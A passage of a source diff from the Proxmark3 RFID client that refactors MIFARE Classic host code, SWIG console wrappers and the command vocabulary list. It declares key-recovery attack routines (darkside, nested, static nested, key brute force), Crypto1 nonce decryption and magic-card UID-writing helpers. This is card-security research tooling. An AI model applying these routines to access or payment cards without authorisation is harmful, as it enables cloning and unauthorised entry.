at_enc, uint8_t *data, int len) { +int try_decrypt_word(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len) { PrintAndLogEx(SUCCESS, "encrypted data... %s", sprint_hex(data, len)); uint32_t ks2 = ar_enc ^ prng_successor(nt, 64); @@ -1295,9 +1394,8 @@ int detect_classic_prng(void) { clearCommandBuffer(); SendCommandMIX(CMD_HF_ISO14443A_READER, flags, sizeof(cmd), 0, cmd, sizeof(cmd)); - if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "PRNG UID: Reply timeout."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1307,7 +1405,7 @@ int detect_classic_prng(void) { return PM3_ERFTRANS; } if (WaitForResponseTimeout(CMD_ACK, &respA, 2500) == false) { - PrintAndLogEx(WARNING, "PRNG data: Reply timeout."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1320,6 +1418,41 @@ int detect_classic_prng(void) { uint32_t nonce = bytes_to_num(respA.data.asBytes, respA.oldarg[0]); return validate_prng_nonce(nonce); } + + +/* Detect supported Auth, +* function performs a partial AUTH, where it tries to authenticate against block0, but only collects tag nonce. +* @returns +* TRUE if tag replies with a nonce +* FALSE is tag does not reply with a nonce +*/ +int detect_classic_auth(uint8_t key_type) { + + PacketResponseNG resp, respA; + uint8_t cmd[] = {MIFARE_AUTH_KEYA + key_type, 0x00}; + uint32_t flags = ISO14A_CONNECT | ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_RATS; + + clearCommandBuffer(); + SendCommandMIX(CMD_HF_ISO14443A_READER, flags, sizeof(cmd), 0, cmd, sizeof(cmd)); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + // if select tag failed. + if (resp.oldarg[0] == 0) { + PrintAndLogEx(ERR, "error: selecting tag failed, can't detect nonce\n"); + return PM3_ERFTRANS; + } + if (WaitForResponseTimeout(CMD_ACK, &respA, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + // check respA for a nonce + return respA.oldarg[0] == 4; +} + /* Detect Mifare Classic NACK bug returns: @@ -1366,6 +1499,7 @@ int detect_classic_nackbug(bool verbose) { PrintAndLogEx(SUCCESS, "num of auth requests : %u", auths); PrintAndLogEx(SUCCESS, "num of received NACK : %u", nacks); } + switch (ok) { case 96 : case 98 : { @@ -1381,18 +1515,22 @@ int detect_classic_nackbug(bool verbose) { } return PM3_SUCCESS; } - case 2 : - PrintAndLogEx(SUCCESS, "NACK test: " _GREEN_("always leak NACK")); + case 2: { + PrintAndLogEx(SUCCESS, "NACK test... " _GREEN_("always leak NACK")); return PM3_SUCCESS; - case 1 : - PrintAndLogEx(SUCCESS, "NACK test: " _GREEN_("detected")); + } + case 1: { + PrintAndLogEx(SUCCESS, "NACK test... " _GREEN_("detected")); return PM3_SUCCESS; - case 0 : - PrintAndLogEx(SUCCESS, "NACK test: " _GREEN_("no bug")); + } + case 0: { + PrintAndLogEx(SUCCESS, "NACK test... " _GREEN_("no bug")); return PM3_SUCCESS; - default : - PrintAndLogEx(ERR, "errorcode from device " _RED_("[%i]"), ok); + } + default: { + PrintAndLogEx(ERR, "errorcode from device (" _RED_("%u") " )", ok); return PM3_EUNDEF; + } } break; } @@ -1414,8 +1552,9 @@ int detect_classic_static_nonce(void) { PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_NONCE, &resp, 1000)) { - if (resp.status == PM3_ESOFT) + if (resp.status == PM3_ESOFT) { return NONCE_FAIL; + } return resp.data.asBytes[0]; } @@ -1430,8 +1569,12 @@ returns: 2 = cmd failed 3 = has encrypted nonce */ -int detect_classic_static_encrypted_nonce_ex(uint8_t block_no, uint8_t key_type, uint8_t *key, uint8_t block_no_nested, uint8_t key_type_nested, uint8_t *key_nested, uint8_t nr_nested, bool reset, bool hardreset, bool addread, bool addauth, bool incblk2, bool corruptnrar, bool corruptnrarparity, bool verbose) { - clearCommandBuffer(); +int detect_classic_static_encrypted_nonce_ex(uint8_t block_no, uint8_t key_type, const uint8_t *key, uint8_t block_no_nested + , uint8_t key_type_nested, const uint8_t *key_nested + , uint8_t nr_nested, bool reset, bool hardreset + , bool addread, bool addauth, bool incblk2 + , bool corruptnrar, bool corruptnrarparity, bool verbose) { + uint8_t cdata[1 + 1 + MIFARE_KEY_SIZE + 1 + 1 + MIFARE_KEY_SIZE + 1 + 1 + 1 + 1 + 1 + 1 + 1] = { 0 }; cdata[0] = block_no; cdata[1] = key_type; @@ -1446,39 +1589,61 @@ int detect_classic_static_encrypted_nonce_ex(uint8_t block_no, uint8_t key_type, cdata[20] = incblk2; cdata[21] = corruptnrar; cdata[22] = corruptnrarparity; + + uint8_t dbg_curr = DBG_NONE; + if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { + return PM3_EFAILED; + } + + if (setDeviceDebugLevel(verbose ? MAX(dbg_curr, DBG_INFO) : DBG_NONE, false) != PM3_SUCCESS) { + return PM3_EFAILED; + } + + clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_STATIC_ENCRYPTED_NONCE, cdata, sizeof(cdata)); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_ENCRYPTED_NONCE, &resp, 1000)) { + if (WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_ENCRYPTED_NONCE, &resp, 1500)) { + + setDeviceDebugLevel(dbg_curr, false); if (resp.status == PM3_ESOFT) { return NONCE_FAIL; } + if (verbose && (resp.data.asBytes[0] == NONCE_STATIC_ENC)) { + uint32_t uid = resp.data.asBytes[1] << 24 | resp.data.asBytes[2] << 16 | resp.data.asBytes[3] << 8 | resp.data.asBytes[4]; + uint32_t nt = resp.data.asBytes[5] << 24 | resp.data.asBytes[6] << 16 | resp.data.asBytes[7] << 8 | resp.data.asBytes[8]; + uint32_t ntenc = resp.data.asBytes[9] << 24 | resp.data.asBytes[10] << 16 | resp.data.asBytes[11] << 8 | resp.data.asBytes[12]; + uint8_t ntencparenc = resp.data.asBytes[13]; // recompute nt on client, just because struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; - uint64_t ui64key = bytes_to_num(key_nested, 6); + + uint64_t ui64key = bytes_to_num(key_nested, MIFARE_KEY_SIZE); + crypto1_init(pcs, ui64key); // key_nested uint32_t ks = crypto1_word(pcs, ntenc ^ uid, 1); + uint32_t mynt = ks ^ ntenc; if (mynt != nt) { PrintAndLogEx(ERR, "Client computed nT " _YELLOW_("%08x") " does not match ARM computed nT " _YELLOW_("%08x"), mynt, nt); } + ntencparenc >>= 4; // [...] Additionally, the bit of keystream used to encrypt the parity bits is reused to encrypt the next bit of plaintext. // we can decrypt first 3 parity bits, not last one as it's using future keystream @@ -1491,7 +1656,8 @@ int detect_classic_static_encrypted_nonce_ex(uint8_t block_no, uint8_t key_type, (ntencpar >> 3) & 1, (ntencpar >> 2) & 1, (ntencpar >> 1) & 1, ks, nt, oddparity8((nt >> 24) & 0xFF), oddparity8((nt >> 16) & 0xFF), oddparity8((nt >> 8) & 0xFF), oddparity8(nt & 0xFF), - nonce_distance(0, nt)); + nonce_distance(0, nt) + ); } else { PrintAndLogEx(INFO, "nTenc " _GREEN_("%08x") " par {" _YELLOW_("%i%i%i%i") "}=" _YELLOW_("%i%i%ix") " | ks " _YELLOW_("%08x") " | nT " _YELLOW_("%08x") " par " _YELLOW_("%i%i%i%i") " | " _RED_("not lfsr16") " (wrong key)", ntenc, @@ -1504,10 +1670,12 @@ int detect_classic_static_encrypted_nonce_ex(uint8_t block_no, uint8_t key_type, } return resp.data.asBytes[0]; } + + setDeviceDebugLevel(dbg_curr, false); return NONCE_FAIL; } -int detect_classic_static_encrypted_nonce(uint8_t block_no, uint8_t key_type, uint8_t *key) { +int detect_classic_static_encrypted_nonce(uint8_t block_no, uint8_t key_type, const uint8_t *key) { return detect_classic_static_encrypted_nonce_ex(block_no, key_type, key, block_no, key_type, key, 3, false, false, false, false, false, false, false, false); } @@ -1568,6 +1736,10 @@ uint16_t detect_mf_magic(bool is_mfc, uint8_t key_type, uint64_t key) { PrintAndLogEx(SUCCESS, "Magic capabilities... " _GREEN_("Gen 4 GDM / USCUID") " ( Gen1 Magic Wakeup )"); } + if ((isMagic & MAGIC_FLAG_GDM_WUP_40_ZUID) == MAGIC_FLAG_GDM_WUP_40_ZUID) { + PrintAndLogEx(SUCCESS, "Magic capabilities... " _GREEN_("Gen 4 GDM / USCUID") " ( ZUID Gen1 Magic Wakeup )"); + } + if ((isMagic & MAGIC_FLAG_GEN_UNFUSED) == MAGIC_FLAG_GEN_UNFUSED) { PrintAndLogEx(SUCCESS, "Magic capabilities... " _GREEN_("Write Once / FUID")); } @@ -1592,7 +1764,7 @@ uint16_t detect_mf_magic(bool is_mfc, uint8_t key_type, uint64_t key) { bool detect_mfc_ev1_signature(void) { uint64_t key = 0; - int res = mfCheckKeys(69, MF_KEY_B, false, 1, (uint8_t *)g_mifare_signature_key_b, &key); + int res = mf_check_keys(69, MF_KEY_B, false, 1, (uint8_t *)g_mifare_signature_key_b, &key); return (res == PM3_SUCCESS); } @@ -1601,17 +1773,17 @@ int read_mfc_ev1_signature(uint8_t *signature) { return PM3_EINVARG; } uint8_t sign[32] = {0}; - int res = mfReadBlock(69, MF_KEY_B, g_mifare_signature_key_b, sign); + int res = mf_read_block(69, MF_KEY_B, g_mifare_signature_key_b, sign); if (res == PM3_SUCCESS) { - res = mfReadBlock(70, MF_KEY_B, g_mifare_signature_key_b, sign + 16); + res = mf_read_block(70, MF_KEY_B, g_mifare_signature_key_b, sign + 16); if (res == PM3_SUCCESS) { memcpy(signature, sign, sizeof(sign)); } } else { // try QL88 - res = mfReadBlock(69, MF_KEY_B, g_mifare_ql88_signature_key_b, sign); + res = mf_read_block(69, MF_KEY_B, g_mifare_ql88_signature_key_b, sign); if (res == PM3_SUCCESS) { - res = mfReadBlock(70, MF_KEY_B, g_mifare_ql88_signature_key_b, sign + 16); + res = mf_read_block(70, MF_KEY_B, g_mifare_ql88_signature_key_b, sign + 16); if (res == PM3_SUCCESS) { memcpy(signature, sign, sizeof(sign)); } @@ -1621,8 +1793,9 @@ int read_mfc_ev1_signature(uint8_t *signature) { } int convert_mfc_2_arr(uint8_t *in, uint16_t ilen, uint8_t *out, uint16_t *olen) { - if (in == NULL || out == NULL) + if (in == NULL || out == NULL) { return PM3_EINVARG; + } uint8_t blockno = 0; while (ilen) { diff --git a/client/src/mifare/mifarehost.h b/client/src/mifare/mifarehost.h index b6e8bbd37..02c0422f0 100644 --- a/client/src/mifare/mifarehost.h +++ b/client/src/mifare/mifarehost.h @@ -23,9 +23,10 @@ #include "common.h" #include "util.h" // FILE_PATH_SIZE +#include "mifaredefault.h" // consts #include "protocol_vigik.h" -#define MIFARE_SECTOR_RETRY 10 +#define MIFARE_SECTOR_RETRY 6 // mifare tracer flags #define TRACE_IDLE 0x00 @@ -60,54 +61,64 @@ typedef struct { } sector_t; typedef struct { - uint8_t keyA[6]; - uint8_t keyB[6]; + uint8_t keyA[MIFARE_KEY_SIZE]; + uint8_t keyB[MIFARE_KEY_SIZE]; //uint8_t foundKey[2]; } icesector_t; -#define KEYS_IN_BLOCK ((PM3_CMD_DATA_SIZE - 5) / 6) -#define KEYBLOCK_SIZE (KEYS_IN_BLOCK * 6) -#define CANDIDATE_SIZE (0xFFFF * 6) +#define KEYS_IN_BLOCK ((PM3_CMD_DATA_SIZE - 5) / MIFARE_KEY_SIZE) +#define KEYBLOCK_SIZE (KEYS_IN_BLOCK * MIFARE_KEY_SIZE) +#define CANDIDATE_SIZE (0xFFFF * MIFARE_KEY_SIZE) -int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key); -int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate); -int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey); -int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); -int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, - uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, - bool use_flashmemory, bool verbose); -int mfCheckKeys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, - uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, - bool verbose, bool quiet, uint16_t singleSectorParams); +int mf_dark_side(uint8_t blockno, uint8_t key_type, uint64_t *key); +int mf_nested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate); +int mf_static_nested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey); +int mf_check_keys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); +int mf_check_keys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, + uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, + bool use_flashmemory, bool verbose); +int mf_check_keys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, + uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, + bool verbose, bool quiet, uint16_t singleSectorParams); -int mfCheckKeys_file(uint8_t *destfn, uint64_t *key); +int mf_check_keys_file(uint8_t *destfn, uint64_t *key); -int mfKeyBrute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *resultkey); +int mf_key_brute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *resultkey); -int mfReadSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data); -int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data); +int mf_read_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data); +int mf_read_block(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data); -int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount); -int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount); -int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); +int mf_write_block(uint8_t blockno, uint8_t keyType, const uint8_t *key, const uint8_t *block); +int mf_write_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector); -int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard); -int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak); -int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params); -int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params); +int mf_eml_get_mem(uint8_t *data, int blockNum, int blocksCount); +int mf_eml_get_mem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); +int mf_elm_set_mem(uint8_t *data, int blockNum, int blocksCount); +int mf_eml_set_mem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); -int mfGen3UID(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid); -int mfGen3Block(uint8_t *block, int blockLen, uint8_t *newBlock); -int mfGen3Freeze(void); +int mf_chinese_set_uid(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard, uint8_t gdm); +int mf_chinese_wipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm); +int mf_chinese_set_block(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params); +int mf_chinese_get_block(uint8_t blockNo, uint8_t *data, uint8_t params); -int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len); +int mf_chinese_gen_3_uid(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid); +int mf_chinese_gen_3_block(uint8_t *block, int blockLen, uint8_t *newBlock); +int mf_chinese_gen_3_freeze(void); + +int mf_chinese_gen_4_set_block(uint8_t blockNo, uint8_t *block, uint8_t *key); + +int try_decrypt_word(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len); int detect_classic_prng(void); +int detect_classic_auth(uint8_t key_type); int detect_classic_nackbug(bool verbose); uint16_t detect_mf_magic(bool is_mfc, uint8_t key_type, uint64_t key); int detect_classic_static_nonce(void); -int detect_classic_static_encrypted_nonce_ex(uint8_t block_no, uint8_t key_type, uint8_t *key, uint8_t block_no_nested, uint8_t key_type_nested, uint8_t *key_nested, uint8_t nr_nested, bool reset, bool hardreset, bool addread, bool addauth, bool incblk2, bool corruptnrar, bool corruptnrarparity, bool verbose); -int detect_classic_static_encrypted_nonce(uint8_t block_no, uint8_t key_type, uint8_t *key); +int detect_classic_static_encrypted_nonce_ex(uint8_t block_no, uint8_t key_type, const uint8_t *key + , uint8_t block_no_nested, uint8_t key_type_nested, const uint8_t *key_nested + , uint8_t nr_nested, bool reset, bool hardreset, bool addread, bool addauth + , bool incblk2, bool corruptnrar, bool corruptnrarparity, bool verbose); +int detect_classic_static_encrypted_nonce(uint8_t block_no, uint8_t key_type, const uint8_t *key); bool detect_mfc_ev1_signature(void); int read_mfc_ev1_signature(uint8_t *signature); diff --git a/client/src/nfc/ndef.c b/client/src/nfc/ndef.c index fba53ad3f..61a032218 100644 --- a/client/src/nfc/ndef.c +++ b/client/src/nfc/ndef.c @@ -1080,6 +1080,10 @@ static int ndefDecodePayload(NDEFHeader_t *ndef, bool verbose) { } char *begin = calloc(ndef->TypeLen + 1, sizeof(char)); + if (begin == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } memcpy(begin, ndef->Type, ndef->TypeLen); str_lower(begin); diff --git a/client/src/pm3.c b/client/src/pm3.c index af0654bfb..ff08c8b94 100644 --- a/client/src/pm3.c +++ b/client/src/pm3.c @@ -26,9 +26,11 @@ #include "usart_defs.h" #include "util_posix.h" #include "comms.h" +#include "preferences.h" pm3_device_t *pm3_open(const char *port) { pm3_init(); + preferences_load(); OpenProxmark(&g_session.current_device, port, false, 20, false, USART_BAUD_RATE); if (g_session.pm3_present && (TestProxmark(g_session.current_device) != PM3_SUCCESS)) { PrintAndLogEx(ERR, _RED_("ERROR:") " cannot communicate with the Proxmark3\n"); @@ -56,12 +58,14 @@ void pm3_close(pm3_device_t *dev) { free_grabber(); } -int pm3_console(pm3_device_t *dev, const char *cmd, bool passthru) { +int pm3_console(pm3_device_t *dev, const char *cmd, bool capture, bool quiet) { // For now, there is no real device context: (void) dev; uint8_t prev_printAndLog = g_printAndLog; - if (! passthru) { + if (capture) { g_printAndLog |= PRINTANDLOG_GRAB; + } + if (quiet) { g_printAndLog &= ~PRINTANDLOG_PRINT; } int ret = CommandReceived(cmd); diff --git a/client/src/pm3.i b/client/src/pm3.i index 810f5eb22..f7923323c 100644 --- a/client/src/pm3.i +++ b/client/src/pm3.i @@ -11,8 +11,11 @@ #ifdef PYWRAP #include - %typemap(default) bool passthru { - $1 = Py_False; + %typemap(default) bool capture { + $1 = Py_True; + } + %typemap(default) bool quiet { + $1 = Py_True; } #endif typedef struct { @@ -37,7 +40,7 @@ typedef struct { pm3_close($self); } } - int console(char *cmd, bool passthru = false); + int console(char *cmd, bool capture = true, bool quiet = true); char const * const name; char const * const grabbed_output; } diff --git a/client/src/pm3_luawrap.c b/client/src/pm3_luawrap.c index c880d09fd..65798a2e5 100644 --- a/client/src/pm3_luawrap.c +++ b/client/src/pm3_luawrap.c @@ -2768,13 +2768,15 @@ static int _wrap_pm3_console(lua_State *L) { int SWIG_arg = 0; pm3 *arg1 = (pm3 *) 0 ; char *arg2 = (char *) 0 ; - bool arg3 = (bool) false ; + bool arg3 = (bool) true ; + bool arg4 = (bool) true ; int result; - SWIG_check_num_args("pm3::console", 2, 3) + SWIG_check_num_args("pm3::console", 2, 4) if (!SWIG_isptrtype(L, 1)) SWIG_fail_arg("pm3::console", 1, "pm3 *"); if (!SWIG_lua_isnilstring(L, 2)) SWIG_fail_arg("pm3::console", 2, "char *"); if (lua_gettop(L) >= 3 && !lua_isboolean(L, 3)) SWIG_fail_arg("pm3::console", 3, "bool"); + if (lua_gettop(L) >= 4 && !lua_isboolean(L, 4)) SWIG_fail_arg("pm3::console", 4, "bool"); if (!SWIG_IsOK(SWIG_ConvertPtr(L, 1, (void **)&arg1, SWIGTYPE_p_pm3, 0))) { SWIG_fail_ptr("pm3_console", 1, SWIGTYPE_p_pm3); @@ -2784,7 +2786,10 @@ static int _wrap_pm3_console(lua_State *L) { if (lua_gettop(L) >= 3) { arg3 = (lua_toboolean(L, 3) != 0); } - result = (int)pm3_console(arg1, arg2, arg3); + if (lua_gettop(L) >= 4) { + arg4 = (lua_toboolean(L, 4) != 0); + } + result = (int)pm3_console(arg1, arg2, arg3, arg4); lua_pushnumber(L, (lua_Number) result); SWIG_arg++; return SWIG_arg; diff --git a/client/src/pm3_pywrap.c b/client/src/pm3_pywrap.c index 93a26e2d0..02186d257 100644 --- a/client/src/pm3_pywrap.c +++ b/client/src/pm3_pywrap.c @@ -3546,7 +3546,8 @@ SWIGINTERN PyObject *_wrap_pm3_console(PyObject *self, PyObject *args) { PyObject *resultobj = 0; pm3 *arg1 = (pm3 *) 0 ; char *arg2 = (char *) 0 ; - bool arg3 = (bool) false ; + bool arg3 = (bool) true ; + bool arg4 = (bool) true ; void *argp1 = 0 ; int res1 = 0 ; int res2 ; @@ -3554,11 +3555,13 @@ SWIGINTERN PyObject *_wrap_pm3_console(PyObject *self, PyObject *args) { int alloc2 = 0 ; bool val3 ; int ecode3 = 0 ; - PyObject *swig_obj[3] ; + bool val4 ; + int ecode4 = 0 ; + PyObject *swig_obj[4] ; int result; (void)self; - if (!SWIG_Python_UnpackTuple(args, "pm3_console", 2, 3, swig_obj)) SWIG_fail; + if (!SWIG_Python_UnpackTuple(args, "pm3_console", 2, 4, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1, SWIGTYPE_p_pm3, 0 | 0); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_console" "', argument " "1"" of type '" "pm3 *""'"); @@ -3576,7 +3579,14 @@ SWIGINTERN PyObject *_wrap_pm3_console(PyObject *self, PyObject *args) { } arg3 = (bool)(val3); } - result = (int)pm3_console(arg1, arg2, arg3); + if (swig_obj[3]) { + ecode4 = SWIG_AsVal_bool(swig_obj[3], &val4); + if (!SWIG_IsOK(ecode4)) { + SWIG_exception_fail(SWIG_ArgError(ecode4), "in method '" "pm3_console" "', argument " "4"" of type '" "bool""'"); + } + arg4 = (bool)(val4); + } + result = (int)pm3_console(arg1, arg2, arg3, arg4); resultobj = SWIG_From_int((int)(result)); if (alloc2 == SWIG_NEWOBJ) free((char *)buf2); return resultobj; diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 7407dc76a..8c106751f 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -51,6 +51,7 @@ const static vocabulary_t vocabulary[] = { { 1, "prefs get hints" }, { 1, "prefs get output" }, { 1, "prefs get plotsliders" }, + { 1, "prefs get mqtt" }, { 1, "prefs set help" }, { 1, "prefs set barmode" }, { 1, "prefs set client.debug" }, @@ -62,8 +63,9 @@ const static vocabulary_t vocabulary[] = { { 1, "prefs set savepaths" }, { 1, "prefs set output" }, { 1, "prefs set plotsliders" }, + { 1, "prefs set mqtt" }, { 1, "analyse help" }, - { 1, "analyse lcr" }, + { 1, "analyse lrc" }, { 1, "analyse crc" }, { 1, "analyse chksum" }, { 1, "analyse dates" }, @@ -136,6 +138,7 @@ const static vocabulary_t vocabulary[] = { { 0, "emv scan" }, { 0, "emv search" }, { 0, "emv select" }, + { 0, "emv smart2nfc" }, { 1, "hf help" }, { 1, "hf list" }, { 0, "hf plot" }, @@ -149,6 +152,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 14a cuids" }, { 0, "hf 14a info" }, { 0, "hf 14a sim" }, + { 0, "hf 14a simaid" }, { 0, "hf 14a sniff" }, { 0, "hf 14a raw" }, { 0, "hf 14a reader" }, @@ -175,6 +179,7 @@ const static vocabulary_t vocabulary[] = { { 1, "hf 14b valid" }, { 0, "hf 14b calypso" }, { 0, "hf 14b mobib" }, + { 0, "hf 14b setuid" }, { 1, "hf 15 help" }, { 1, "hf 15 list" }, { 1, "hf 15 demod" }, @@ -199,6 +204,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 15 slixeasenable" }, { 0, "hf 15 slixprivacydisable" }, { 0, "hf 15 slixprivacyenable" }, + { 0, "hf 15 slixprotectpage" }, { 0, "hf 15 passprotectafi" }, { 0, "hf 15 passprotecteas" }, { 0, "hf 15 findafi" }, @@ -236,6 +242,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf felica reader" }, { 0, "hf felica sniff" }, { 0, "hf felica wrbl" }, + { 0, "hf felica dump" }, { 0, "hf felica rqservice" }, { 0, "hf felica rqresponse" }, { 0, "hf felica scsvcode" }, @@ -245,6 +252,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf felica rqspecver" }, { 0, "hf felica resetmode" }, { 0, "hf felica litesim" }, + { 0, "hf felica liteauth" }, { 0, "hf felica litedump" }, { 1, "hf fido help" }, { 1, "hf fido list" }, @@ -265,6 +273,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf gallagher delete" }, { 1, "hf gallagher diversifykey" }, { 1, "hf gallagher decode" }, + { 1, "hf gallagher encode" }, { 1, "hf iclass help" }, { 1, "hf iclass list" }, { 0, "hf iclass dump" }, @@ -276,11 +285,13 @@ const static vocabulary_t vocabulary[] = { { 1, "hf iclass view" }, { 0, "hf iclass wrbl" }, { 0, "hf iclass creditepurse" }, + { 0, "hf iclass tear" }, { 0, "hf iclass chk" }, { 1, "hf iclass loclass" }, { 1, "hf iclass lookup" }, { 0, "hf iclass legrec" }, { 1, "hf iclass legbrute" }, + { 1, "hf iclass unhash" }, { 0, "hf iclass sim" }, { 0, "hf iclass eload" }, { 0, "hf iclass esave" }, @@ -336,8 +347,6 @@ const static vocabulary_t vocabulary[] = { { 0, "hf lto wrbl" }, { 1, "hf mf help" }, { 1, "hf mf list" }, - { 0, "hf mf info" }, - { 0, "hf mf isen" }, { 0, "hf mf darkside" }, { 0, "hf mf nested" }, { 1, "hf mf hardnested" }, @@ -349,9 +358,12 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mf fchk" }, { 1, "hf mf decrypt" }, { 0, "hf mf supercard" }, + { 1, "hf mf bambukeys" }, { 0, "hf mf auth4" }, { 1, "hf mf acl" }, { 0, "hf mf dump" }, + { 0, "hf mf info" }, + { 0, "hf mf isen" }, { 1, "hf mf mad" }, { 0, "hf mf personalize" }, { 0, "hf mf rdbl" }, @@ -383,7 +395,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mf gen3uid" }, { 0, "hf mf gen3blk" }, { 0, "hf mf gen3freeze" }, - { 0, "hf mf ginfo" }, + { 1, "hf mf ginfo" }, { 0, "hf mf ggetblk" }, { 0, "hf mf gload" }, { 0, "hf mf gsave" }, @@ -423,7 +435,9 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfu otptear" }, { 0, "hf mfu cauth" }, { 0, "hf mfu setpwd" }, + { 0, "hf mfu aesauth" }, { 0, "hf mfu dump" }, + { 0, "hf mfu incr" }, { 0, "hf mfu info" }, { 0, "hf mfu ndefread" }, { 0, "hf mfu rdbl" }, @@ -463,6 +477,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfdes getkeyversions" }, { 0, "hf mfdes getfileids" }, { 0, "hf mfdes getfileisoids" }, + { 0, "hf mfdes lsfile" }, { 0, "hf mfdes lsfiles" }, { 0, "hf mfdes dump" }, { 0, "hf mfdes createfile" }, @@ -487,8 +502,13 @@ const static vocabulary_t vocabulary[] = { { 0, "hf ntag424 changefs" }, { 0, "hf ntag424 changekey" }, { 1, "hf seos help" }, - { 0, "hf seos info" }, { 1, "hf seos list" }, + { 0, "hf seos sam" }, + { 0, "hf seos info" }, + { 1, "hf seos pacs" }, + { 1, "hf seos adf" }, + { 1, "hf seos gdf" }, + { 1, "hf seos managekeys" }, { 1, "hf st25ta help" }, { 0, "hf st25ta info" }, { 1, "hf st25ta list" }, @@ -671,8 +691,19 @@ const static vocabulary_t vocabulary[] = { { 0, "lf hitag ta" }, { 1, "lf hitag hts help" }, { 1, "lf hitag hts list" }, - { 0, "lf hitag hts read" }, - { 0, "lf hitag hts write" }, + { 0, "lf hitag hts reader" }, + { 0, "lf hitag hts rdbl" }, + { 0, "lf hitag hts dump" }, + { 0, "lf hitag hts restore" }, + { 0, "lf hitag hts wrbl" }, + { 0, "lf hitag hts sim" }, + { 1, "lf hitag htu help" }, + { 1, "lf hitag htu list" }, + { 0, "lf hitag htu reader" }, + { 0, "lf hitag htu rdbl" }, + { 0, "lf hitag htu dump" }, + { 0, "lf hitag htu wrbl" }, + { 0, "lf hitag htu sim" }, { 1, "lf idteck help" }, { 1, "lf idteck demod" }, { 